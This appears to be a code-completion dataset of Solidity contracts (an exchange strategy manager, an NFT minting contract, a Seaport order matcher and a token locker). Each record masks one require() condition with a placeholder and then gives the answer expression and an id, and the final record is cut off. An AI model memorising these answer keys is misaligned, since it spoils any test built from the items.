import {IExecutionManager} from "./interfaces/IExecutionManager.sol";
/**
* @title ExecutionManager
* @notice It allows adding/removing execution strategies for trading on the CryptoAvatars exchange.
*/
contract ExecutionManager is IExecutionManager, Ownable {
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet private _whitelistedStrategies;
event StrategyRemoved(address indexed strategy);
event StrategyWhitelisted(address indexed strategy);
/**
* @notice Add an execution strategy in the system
* @param strategy address of the strategy to add
*/
function addStrategy(address strategy) external override onlyOwner {
}
/**
* @notice Remove an execution strategy from the system
* @param strategy address of the strategy to remove
*/
function removeStrategy(address strategy) external override onlyOwner {
require(<FILL_ME>)
_whitelistedStrategies.remove(strategy);
emit StrategyRemoved(strategy);
}
/**
* @notice Returns if an execution strategy is in the system
* @param strategy address of the strategy
*/
function isStrategyWhitelisted(address strategy) external view override returns (bool) {
}
/**
* @notice View number of whitelisted strategies
*/
function viewCountWhitelistedStrategies() external view override returns (uint256) {
}
/**
* @notice See whitelisted strategies in the system
* @param cursor cursor (should start at 0 for first request)
* @param size size of the response (e.g., 50)
*/
function viewWhitelistedStrategies(uint256 cursor, uint256 size)
external
view
override
returns (address[] memory, uint256)
{
}
}
| _whitelistedStrategies.contains(strategy),"Strategy: Not whitelisted" | 122,598 | _whitelistedStrategies.contains(strategy) |
"Not enough NFTs left!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract FluffyHUGS is ERC721, ERC721Enumerable, Pausable, AccessControl, ERC721Burnable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
using ECDSA for bytes32;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
bytes32 internal constant SUPPORTER_ROLE = keccak256("SUPPORTER_ROLE");
uint256 public constant MAX_SUPPLY = 3333;
uint256 public constant MAX_PER_MINT = 5;
// Starting and stopping sale, presale and whitelist
bool public saleActive = false;
bool public presaleActive = false;
uint256 public price = 0.0 ether;
uint256 public preSalePrice = 0.0 ether;
string public baseTokenURI;
uint256 public startTokenURIID;
bytes32 private _whitelistMerkleRoot;
// keep track of those on whitelist who have claimed their NFT
mapping(address => bool) public claimed;
mapping(uint256 => bool) private preSold;
uint256 public returnPercent = 0; // 0%
constructor() ERC721("Fluffy HUGS", "FHUGS") {
}
function pause() public onlyRole(SUPPORTER_ROLE) {
}
function unpause() public onlyRole(SUPPORTER_ROLE) {
}
function safeMint(address to, uint256 amount) public onlyRole(SUPPORTER_ROLE) {
uint256 totalMinted = _tokenIdCounter.current();
require(<FILL_ME>)
for (uint256 i = 0; i < amount; i++) {
_safeMint(to, totalMinted + i);
_tokenIdCounter.increment();
}
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize)
internal
override
{
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, AccessControl)
returns (bool)
{
}
function setBaseURI(string memory _uri) public onlyRole(SUPPORTER_ROLE) {
}
function setStartURIID(uint256 _id) public onlyRole(SUPPORTER_ROLE) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setReturnPercent(uint256 _percent) public onlyRole(SUPPORTER_ROLE) {
}
// The following functions are used for minting
function setPrice(uint256 _price) public onlyRole(SUPPORTER_ROLE) {
}
function setPresalePrice(uint256 _price) public onlyRole(SUPPORTER_ROLE) {
}
// Start and stop presale
function setPresaleActive(bool val) public onlyRole(SUPPORTER_ROLE) {
}
// Start and stop sale
function setSaleActive(bool val) public onlyRole(SUPPORTER_ROLE) {
}
function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyRole(SUPPORTER_ROLE) {
}
function _mintSingleNFT() private {
}
function preSale(bytes32[] memory proof, uint256 amount) external payable {
}
function mintNFTs(uint256 amount) public payable {
}
function tokensOfOwner(address _owner) external view returns (uint256[] memory) {
}
function withdraw() public payable onlyRole(DEFAULT_ADMIN_ROLE) {
}
}
| totalMinted.add(amount)<=MAX_SUPPLY,"Not enough NFTs left!" | 122,782 | totalMinted.add(amount)<=MAX_SUPPLY |
"Error" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract FluffyHUGS is ERC721, ERC721Enumerable, Pausable, AccessControl, ERC721Burnable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
using ECDSA for bytes32;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
bytes32 internal constant SUPPORTER_ROLE = keccak256("SUPPORTER_ROLE");
uint256 public constant MAX_SUPPLY = 3333;
uint256 public constant MAX_PER_MINT = 5;
// Starting and stopping sale, presale and whitelist
bool public saleActive = false;
bool public presaleActive = false;
uint256 public price = 0.0 ether;
uint256 public preSalePrice = 0.0 ether;
string public baseTokenURI;
uint256 public startTokenURIID;
bytes32 private _whitelistMerkleRoot;
// keep track of those on whitelist who have claimed their NFT
mapping(address => bool) public claimed;
mapping(uint256 => bool) private preSold;
uint256 public returnPercent = 0; // 0%
constructor() ERC721("Fluffy HUGS", "FHUGS") {
}
function pause() public onlyRole(SUPPORTER_ROLE) {
}
function unpause() public onlyRole(SUPPORTER_ROLE) {
}
function safeMint(address to, uint256 amount) public onlyRole(SUPPORTER_ROLE) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize)
internal
override
{
super._afterTokenTransfer(from, to, firstTokenId, batchSize);
if (to == address(0)) {
uint256 balance = (preSold[firstTokenId] ? preSalePrice : price) * returnPercent / 100;
if (balance > 0) require(<FILL_ME>)
}
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, AccessControl)
returns (bool)
{
}
function setBaseURI(string memory _uri) public onlyRole(SUPPORTER_ROLE) {
}
function setStartURIID(uint256 _id) public onlyRole(SUPPORTER_ROLE) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setReturnPercent(uint256 _percent) public onlyRole(SUPPORTER_ROLE) {
}
// The following functions are used for minting
function setPrice(uint256 _price) public onlyRole(SUPPORTER_ROLE) {
}
function setPresalePrice(uint256 _price) public onlyRole(SUPPORTER_ROLE) {
}
// Start and stop presale
function setPresaleActive(bool val) public onlyRole(SUPPORTER_ROLE) {
}
// Start and stop sale
function setSaleActive(bool val) public onlyRole(SUPPORTER_ROLE) {
}
function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyRole(SUPPORTER_ROLE) {
}
function _mintSingleNFT() private {
}
function preSale(bytes32[] memory proof, uint256 amount) external payable {
}
function mintNFTs(uint256 amount) public payable {
}
function tokensOfOwner(address _owner) external view returns (uint256[] memory) {
}
function withdraw() public payable onlyRole(DEFAULT_ADMIN_ROLE) {
}
}
| payable(from).send(balance),"Error" | 122,782 | payable(from).send(balance) |
"Merkle tree root not set" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract FluffyHUGS is ERC721, ERC721Enumerable, Pausable, AccessControl, ERC721Burnable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
using ECDSA for bytes32;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
bytes32 internal constant SUPPORTER_ROLE = keccak256("SUPPORTER_ROLE");
uint256 public constant MAX_SUPPLY = 3333;
uint256 public constant MAX_PER_MINT = 5;
// Starting and stopping sale, presale and whitelist
bool public saleActive = false;
bool public presaleActive = false;
uint256 public price = 0.0 ether;
uint256 public preSalePrice = 0.0 ether;
string public baseTokenURI;
uint256 public startTokenURIID;
bytes32 private _whitelistMerkleRoot;
// keep track of those on whitelist who have claimed their NFT
mapping(address => bool) public claimed;
mapping(uint256 => bool) private preSold;
uint256 public returnPercent = 0; // 0%
constructor() ERC721("Fluffy HUGS", "FHUGS") {
}
function pause() public onlyRole(SUPPORTER_ROLE) {
}
function unpause() public onlyRole(SUPPORTER_ROLE) {
}
function safeMint(address to, uint256 amount) public onlyRole(SUPPORTER_ROLE) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize)
internal
override
{
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, AccessControl)
returns (bool)
{
}
function setBaseURI(string memory _uri) public onlyRole(SUPPORTER_ROLE) {
}
function setStartURIID(uint256 _id) public onlyRole(SUPPORTER_ROLE) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setReturnPercent(uint256 _percent) public onlyRole(SUPPORTER_ROLE) {
}
// The following functions are used for minting
function setPrice(uint256 _price) public onlyRole(SUPPORTER_ROLE) {
}
function setPresalePrice(uint256 _price) public onlyRole(SUPPORTER_ROLE) {
}
// Start and stop presale
function setPresaleActive(bool val) public onlyRole(SUPPORTER_ROLE) {
}
// Start and stop sale
function setSaleActive(bool val) public onlyRole(SUPPORTER_ROLE) {
}
function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyRole(SUPPORTER_ROLE) {
}
function _mintSingleNFT() private {
}
function preSale(bytes32[] memory proof, uint256 amount) external payable {
uint256 totalMinted = _tokenIdCounter.current();
uint256 preSaleMaxMint = 3;
require(presaleActive, "Presale isn't active");
require(totalMinted.add(amount) <= MAX_SUPPLY, "Not enough NFTs left!");
require(amount > 0 && amount <= preSaleMaxMint, "Cannot mint specified number of NFTs.");
require(msg.value >= preSalePrice.mul(amount), "Not enough ether to purchase NFTs.");
// merkle tree list related
require(<FILL_ME>)
require(
MerkleProof.verify(proof, _whitelistMerkleRoot, keccak256(abi.encodePacked(msg.sender))),
"Presale validation failed"
);
require(!claimed[msg.sender], "NFT is already claimed by this wallet");
for (uint256 i = 0; i < amount; i++) {
_mintSingleNFT();
preSold[totalMinted + i] = true;
}
claimed[msg.sender] = true;
}
function mintNFTs(uint256 amount) public payable {
}
function tokensOfOwner(address _owner) external view returns (uint256[] memory) {
}
function withdraw() public payable onlyRole(DEFAULT_ADMIN_ROLE) {
}
}
| _whitelistMerkleRoot!="","Merkle tree root not set" | 122,782 | _whitelistMerkleRoot!="" |
"Presale validation failed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract FluffyHUGS is ERC721, ERC721Enumerable, Pausable, AccessControl, ERC721Burnable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
using ECDSA for bytes32;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
bytes32 internal constant SUPPORTER_ROLE = keccak256("SUPPORTER_ROLE");
uint256 public constant MAX_SUPPLY = 3333;
uint256 public constant MAX_PER_MINT = 5;
// Starting and stopping sale, presale and whitelist
bool public saleActive = false;
bool public presaleActive = false;
uint256 public price = 0.0 ether;
uint256 public preSalePrice = 0.0 ether;
string public baseTokenURI;
uint256 public startTokenURIID;
bytes32 private _whitelistMerkleRoot;
// keep track of those on whitelist who have claimed their NFT
mapping(address => bool) public claimed;
mapping(uint256 => bool) private preSold;
uint256 public returnPercent = 0; // 0%
constructor() ERC721("Fluffy HUGS", "FHUGS") {
}
function pause() public onlyRole(SUPPORTER_ROLE) {
}
function unpause() public onlyRole(SUPPORTER_ROLE) {
}
function safeMint(address to, uint256 amount) public onlyRole(SUPPORTER_ROLE) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize)
internal
override
{
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, AccessControl)
returns (bool)
{
}
function setBaseURI(string memory _uri) public onlyRole(SUPPORTER_ROLE) {
}
function setStartURIID(uint256 _id) public onlyRole(SUPPORTER_ROLE) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setReturnPercent(uint256 _percent) public onlyRole(SUPPORTER_ROLE) {
}
// The following functions are used for minting
function setPrice(uint256 _price) public onlyRole(SUPPORTER_ROLE) {
}
function setPresalePrice(uint256 _price) public onlyRole(SUPPORTER_ROLE) {
}
// Start and stop presale
function setPresaleActive(bool val) public onlyRole(SUPPORTER_ROLE) {
}
// Start and stop sale
function setSaleActive(bool val) public onlyRole(SUPPORTER_ROLE) {
}
function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyRole(SUPPORTER_ROLE) {
}
function _mintSingleNFT() private {
}
function preSale(bytes32[] memory proof, uint256 amount) external payable {
uint256 totalMinted = _tokenIdCounter.current();
uint256 preSaleMaxMint = 3;
require(presaleActive, "Presale isn't active");
require(totalMinted.add(amount) <= MAX_SUPPLY, "Not enough NFTs left!");
require(amount > 0 && amount <= preSaleMaxMint, "Cannot mint specified number of NFTs.");
require(msg.value >= preSalePrice.mul(amount), "Not enough ether to purchase NFTs.");
// merkle tree list related
require(_whitelistMerkleRoot != "", "Merkle tree root not set");
require(<FILL_ME>)
require(!claimed[msg.sender], "NFT is already claimed by this wallet");
for (uint256 i = 0; i < amount; i++) {
_mintSingleNFT();
preSold[totalMinted + i] = true;
}
claimed[msg.sender] = true;
}
function mintNFTs(uint256 amount) public payable {
}
function tokensOfOwner(address _owner) external view returns (uint256[] memory) {
}
function withdraw() public payable onlyRole(DEFAULT_ADMIN_ROLE) {
}
}
| MerkleProof.verify(proof,_whitelistMerkleRoot,keccak256(abi.encodePacked(msg.sender))),"Presale validation failed" | 122,782 | MerkleProof.verify(proof,_whitelistMerkleRoot,keccak256(abi.encodePacked(msg.sender))) |
"NFT is already claimed by this wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract FluffyHUGS is ERC721, ERC721Enumerable, Pausable, AccessControl, ERC721Burnable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
using ECDSA for bytes32;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
bytes32 internal constant SUPPORTER_ROLE = keccak256("SUPPORTER_ROLE");
uint256 public constant MAX_SUPPLY = 3333;
uint256 public constant MAX_PER_MINT = 5;
// Starting and stopping sale, presale and whitelist
bool public saleActive = false;
bool public presaleActive = false;
uint256 public price = 0.0 ether;
uint256 public preSalePrice = 0.0 ether;
string public baseTokenURI;
uint256 public startTokenURIID;
bytes32 private _whitelistMerkleRoot;
// keep track of those on whitelist who have claimed their NFT
mapping(address => bool) public claimed;
mapping(uint256 => bool) private preSold;
uint256 public returnPercent = 0; // 0%
constructor() ERC721("Fluffy HUGS", "FHUGS") {
}
function pause() public onlyRole(SUPPORTER_ROLE) {
}
function unpause() public onlyRole(SUPPORTER_ROLE) {
}
function safeMint(address to, uint256 amount) public onlyRole(SUPPORTER_ROLE) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize)
internal
override
{
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, AccessControl)
returns (bool)
{
}
function setBaseURI(string memory _uri) public onlyRole(SUPPORTER_ROLE) {
}
function setStartURIID(uint256 _id) public onlyRole(SUPPORTER_ROLE) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setReturnPercent(uint256 _percent) public onlyRole(SUPPORTER_ROLE) {
}
// The following functions are used for minting
function setPrice(uint256 _price) public onlyRole(SUPPORTER_ROLE) {
}
function setPresalePrice(uint256 _price) public onlyRole(SUPPORTER_ROLE) {
}
// Start and stop presale
function setPresaleActive(bool val) public onlyRole(SUPPORTER_ROLE) {
}
// Start and stop sale
function setSaleActive(bool val) public onlyRole(SUPPORTER_ROLE) {
}
function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyRole(SUPPORTER_ROLE) {
}
function _mintSingleNFT() private {
}
function preSale(bytes32[] memory proof, uint256 amount) external payable {
uint256 totalMinted = _tokenIdCounter.current();
uint256 preSaleMaxMint = 3;
require(presaleActive, "Presale isn't active");
require(totalMinted.add(amount) <= MAX_SUPPLY, "Not enough NFTs left!");
require(amount > 0 && amount <= preSaleMaxMint, "Cannot mint specified number of NFTs.");
require(msg.value >= preSalePrice.mul(amount), "Not enough ether to purchase NFTs.");
// merkle tree list related
require(_whitelistMerkleRoot != "", "Merkle tree root not set");
require(
MerkleProof.verify(proof, _whitelistMerkleRoot, keccak256(abi.encodePacked(msg.sender))),
"Presale validation failed"
);
require(<FILL_ME>)
for (uint256 i = 0; i < amount; i++) {
_mintSingleNFT();
preSold[totalMinted + i] = true;
}
claimed[msg.sender] = true;
}
function mintNFTs(uint256 amount) public payable {
}
function tokensOfOwner(address _owner) external view returns (uint256[] memory) {
}
function withdraw() public payable onlyRole(DEFAULT_ADMIN_ROLE) {
}
}
| !claimed[msg.sender],"NFT is already claimed by this wallet" | 122,782 | !claimed[msg.sender] |
"Error" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract FluffyHUGS is ERC721, ERC721Enumerable, Pausable, AccessControl, ERC721Burnable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
using ECDSA for bytes32;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
bytes32 internal constant SUPPORTER_ROLE = keccak256("SUPPORTER_ROLE");
uint256 public constant MAX_SUPPLY = 3333;
uint256 public constant MAX_PER_MINT = 5;
// Starting and stopping sale, presale and whitelist
bool public saleActive = false;
bool public presaleActive = false;
uint256 public price = 0.0 ether;
uint256 public preSalePrice = 0.0 ether;
string public baseTokenURI;
uint256 public startTokenURIID;
bytes32 private _whitelistMerkleRoot;
// keep track of those on whitelist who have claimed their NFT
mapping(address => bool) public claimed;
mapping(uint256 => bool) private preSold;
uint256 public returnPercent = 0; // 0%
constructor() ERC721("Fluffy HUGS", "FHUGS") {
}
function pause() public onlyRole(SUPPORTER_ROLE) {
}
function unpause() public onlyRole(SUPPORTER_ROLE) {
}
function safeMint(address to, uint256 amount) public onlyRole(SUPPORTER_ROLE) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize)
internal
override
{
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, AccessControl)
returns (bool)
{
}
function setBaseURI(string memory _uri) public onlyRole(SUPPORTER_ROLE) {
}
function setStartURIID(uint256 _id) public onlyRole(SUPPORTER_ROLE) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setReturnPercent(uint256 _percent) public onlyRole(SUPPORTER_ROLE) {
}
// The following functions are used for minting
function setPrice(uint256 _price) public onlyRole(SUPPORTER_ROLE) {
}
function setPresalePrice(uint256 _price) public onlyRole(SUPPORTER_ROLE) {
}
// Start and stop presale
function setPresaleActive(bool val) public onlyRole(SUPPORTER_ROLE) {
}
// Start and stop sale
function setSaleActive(bool val) public onlyRole(SUPPORTER_ROLE) {
}
function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyRole(SUPPORTER_ROLE) {
}
function _mintSingleNFT() private {
}
function preSale(bytes32[] memory proof, uint256 amount) external payable {
}
function mintNFTs(uint256 amount) public payable {
}
function tokensOfOwner(address _owner) external view returns (uint256[] memory) {
}
function withdraw() public payable onlyRole(DEFAULT_ADMIN_ROLE) {
uint256 balance = address(this).balance;
require(balance > 0, "No ether left to withdraw");
require(<FILL_ME>)
}
}
| payable(msg.sender).send(balance),"Error" | 122,782 | payable(msg.sender).send(balance) |
"ct" | pragma solidity ^0.8.6;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./IOpenSea.sol";
import "./IToken.sol";
import "./Types.sol";
contract Matcher is Ownable, Types {
event NewPF(uint indexed nftId, uint indexed newPrice);
Seaport public openSea;
address public osConduit;
address public matchNft;
address public weth;
// step - require next trade to be above idPriceFloor by this amount
uint256 public step;
mapping(uint256 => uint256) public idPriceFloor;
constructor(address _os, address _conduit, address _weth, address _nft) {
}
function setStep(uint256 _step) public onlyOwner {
}
function getFinalPrice(ConsiderationItem[] calldata considerations) internal pure returns (uint256) {
require(considerations.length == 2, "cons");
require(<FILL_ME>)
require(considerations[1].token == address(0), "ct2");
return considerations[0].endAmount + considerations[1].endAmount;
}
function areMatchable(Order[] calldata orders, Fulfillment[] calldata fulfillments, uint256 base18price) public view returns (bool) {
}
function updPriceWithValidation(Order[] calldata orders, Fulfillment[] calldata fulfillments) internal returns (uint256) {
}
function matchOrders(Order[] calldata orders, Fulfillment[] calldata fulfillments) public
{
}
function claimETHfees() public onlyOwner {
}
function unwrapWETHfees() public onlyOwner {
}
}
| considerations[0].token==address(0),"ct" | 122,910 | considerations[0].token==address(0) |
"ct2" | pragma solidity ^0.8.6;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./IOpenSea.sol";
import "./IToken.sol";
import "./Types.sol";
contract Matcher is Ownable, Types {
event NewPF(uint indexed nftId, uint indexed newPrice);
Seaport public openSea;
address public osConduit;
address public matchNft;
address public weth;
// step - require next trade to be above idPriceFloor by this amount
uint256 public step;
mapping(uint256 => uint256) public idPriceFloor;
constructor(address _os, address _conduit, address _weth, address _nft) {
}
function setStep(uint256 _step) public onlyOwner {
}
function getFinalPrice(ConsiderationItem[] calldata considerations) internal pure returns (uint256) {
require(considerations.length == 2, "cons");
require(considerations[0].token == address(0), "ct");
require(<FILL_ME>)
return considerations[0].endAmount + considerations[1].endAmount;
}
function areMatchable(Order[] calldata orders, Fulfillment[] calldata fulfillments, uint256 base18price) public view returns (bool) {
}
function updPriceWithValidation(Order[] calldata orders, Fulfillment[] calldata fulfillments) internal returns (uint256) {
}
function matchOrders(Order[] calldata orders, Fulfillment[] calldata fulfillments) public
{
}
function claimETHfees() public onlyOwner {
}
function unwrapWETHfees() public onlyOwner {
}
}
| considerations[1].token==address(0),"ct2" | 122,910 | considerations[1].token==address(0) |
"match" | pragma solidity ^0.8.6;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./IOpenSea.sol";
import "./IToken.sol";
import "./Types.sol";
contract Matcher is Ownable, Types {
event NewPF(uint indexed nftId, uint indexed newPrice);
Seaport public openSea;
address public osConduit;
address public matchNft;
address public weth;
// step - require next trade to be above idPriceFloor by this amount
uint256 public step;
mapping(uint256 => uint256) public idPriceFloor;
constructor(address _os, address _conduit, address _weth, address _nft) {
}
function setStep(uint256 _step) public onlyOwner {
}
function getFinalPrice(ConsiderationItem[] calldata considerations) internal pure returns (uint256) {
}
function areMatchable(Order[] calldata orders, Fulfillment[] calldata fulfillments, uint256 base18price) public view returns (bool) {
}
function updPriceWithValidation(Order[] calldata orders, Fulfillment[] calldata fulfillments) internal returns (uint256) {
uint256 base18price = getFinalPrice(orders[1].parameters.consideration);
require(<FILL_ME>)
uint256 nftId = orders[1].parameters.offer[0].identifierOrCriteria;
// price floor write
idPriceFloor[nftId] = base18price;
emit NewPF(nftId, base18price);
return base18price;
}
function matchOrders(Order[] calldata orders, Fulfillment[] calldata fulfillments) public
{
}
function claimETHfees() public onlyOwner {
}
function unwrapWETHfees() public onlyOwner {
}
}
| areMatchable(orders,fulfillments,base18price),"match" | 122,910 | areMatchable(orders,fulfillments,base18price) |
"TokenTimelock: release time is before current lock." | // SPDX-License-Identifier: none
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value);
}
contract TokenLocker is Context {
struct LockStruct {
IERC20 token;
address beneficiary;
uint256 amount;
uint256 releaseTimestamp;
bool isActive;
}
mapping (address => uint256[]) private beneficiaryIDs;
LockStruct[] private locker;
/**
* @dev Get Lock Info by ID.
*/
function getLockInfo(uint256 lockID) public view returns (IERC20 token, address beneficiary, uint256 amount, uint256 releaseTimestamp, bool isActive) {
}
function getIDByBeneficiary(address beneficiary, uint256 number) public view returns (uint256) {
}
function lockToken (IERC20 token, address beneficiary, uint256 amount, uint256 releaseTimestamp) public {
}
function extendLock(uint256 lockID, uint256 releaseTimestamp) public virtual {
require(<FILL_ME>)
require(releaseTimestamp > locker[lockID].releaseTimestamp, "TokenTimelock: release time is before current lock.");
locker[lockID].releaseTimestamp = releaseTimestamp;
}
function increaseLockAmount(uint256 lockID, uint256 addAmount) public virtual {
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release(uint256 lockID) public virtual {
}
}
| _msgSender()==locker[lockID].beneficiary,"TokenTimelock: release time is before current lock." | 123,067 | _msgSender()==locker[lockID].beneficiary |
"TokenTimelock: lock ID is inactive." | // SPDX-License-Identifier: none
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
